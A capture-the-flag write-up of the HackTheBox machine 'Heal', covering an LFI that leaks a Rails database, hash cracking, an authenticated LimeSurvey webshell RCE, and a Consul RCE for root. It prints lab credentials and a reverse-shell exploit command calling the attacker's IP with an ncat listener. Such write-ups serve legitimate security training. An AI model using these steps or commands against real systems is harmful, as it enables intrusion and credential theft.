Heal - HackTheBox

Published: Updated: Reading time: 3 min read Length: 297 words

Category: Challenger Tags: ctf hackthebox cybersecurity

image.png

Enumeration

nmap shows that SSH and HTTP are available.

Shell
Terminal window
❯ nmap -Pn -n --min-rate=7500 -sC -sV -p- heal.htb


PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp    open     http    nginx 1.18.0 (Ubuntu)
|_http-title: Heal
|_http-server-header: nginx/1.18.0 (Ubuntu)

The website is a portfolio generating service. We can access its API subdomain and it is written in Ruby on Rails.

image.png

Also, there is a subdomain take-survey.heal.htb hosted using LimeSurvey.

image.png

There is a high chance that this LimeSurvey is vulnerable to a CVE, but we must first get an admin credential.

LFI → Credential leak

Testing the input forms, some of them are vulnerable to server-side XSS, but it got little use here.

The service allows downloading one’s generated CV.

image.png

By tampering HTTP verb and LFI, we can read files on the webserver (also we need to insert our auth token). There are 2 users on the system, ralph and ron.

image.png

So we can read the config files of Ruby on Rails webserver. Let’s target config/database.yml. There we got 2 sqlite3 databases, test and development . Let’s clone the development.sqlite3 database.

image.png

image.png

Good, now cracking the hash digests then we got ralph:147258369.

image.png

LimeSurvey RCE → User flag

LimeSurvey 6.6.4 is vulnerable to a RCE using webshell upload in plugin installation. We will use this POC: Y1LD1R1M-1337/Limesurvey-RCE: LimeSurvey Authenticated RCE. Something to note here:

  1. Change config.xml so that our plugin is compatible with LimeSurvey 6.

  2. Change ip and port accordingly in php-rev.php.

Then we got our reverse shell.

Shell
Terminal window
www-data@heal:~$ ls -la
ls -la
total 20
drwxr-xr-x  4 root     root     4096 Dec  8 13:57 .
drwxr-xr-x 13 root     root     4096 Dec  8 13:57 ..
-rw-rw-r--  1 root     root     1091 Sep 24 13:42 .htaccess
drwxr-xr-x  2 root     root     4096 Dec  8 13:57 html
drwxr-x--- 16 www-data www-data 4096 Dec  8 13:57 limesurvey

Let’s continue investigate LimeSurvey config. We found a password.

Shell
Terminal window
www-data@heal:~/limesurvey/application/config$ cat config.php
(...)
return array(
        'components' => array(
                'db' => array(
                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
                        'emulatePrepare' => true,
                        'username' => 'db_user',
                        'password' => 'AdmiDi0_pA$$w0rd',
                        'charset' => 'utf8',
                        'tablePrefix' => 'lime_',
                ),
(...)

This password is for ron, and we got the user flag.

Slam a RCE → Root flag

Let’s see the local services available.

Shell
Terminal window
ron@heal:~$ netstat -tulpn
(...)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8503          0.0.0.0:*               LISTEN      -
(...)

Port 8500 is reserved for HashiCorp Consul service and is running in root privileges. Let’s forward it back to our pwnbox.

image.png

Consul v1.19.2 is vulnerable to a RCE: Hashicorp Consul v1.0 - Remote Command Execution (RCE) - Multiple remote Exploit. So just slam it and we got the root flag.

Shell
Terminal window
python3 consul.py localhost 8500 10.10.16.15 22703 blahblah


# ncat -lvnp 22703
root@heal:/# ls /root
cleanup-consul.sh
consul-up.sh
plugin_cleanup.sh
root.txt

Continue reading

Shares tags, a category or a series with this post

Take another route

Something different from the latest posts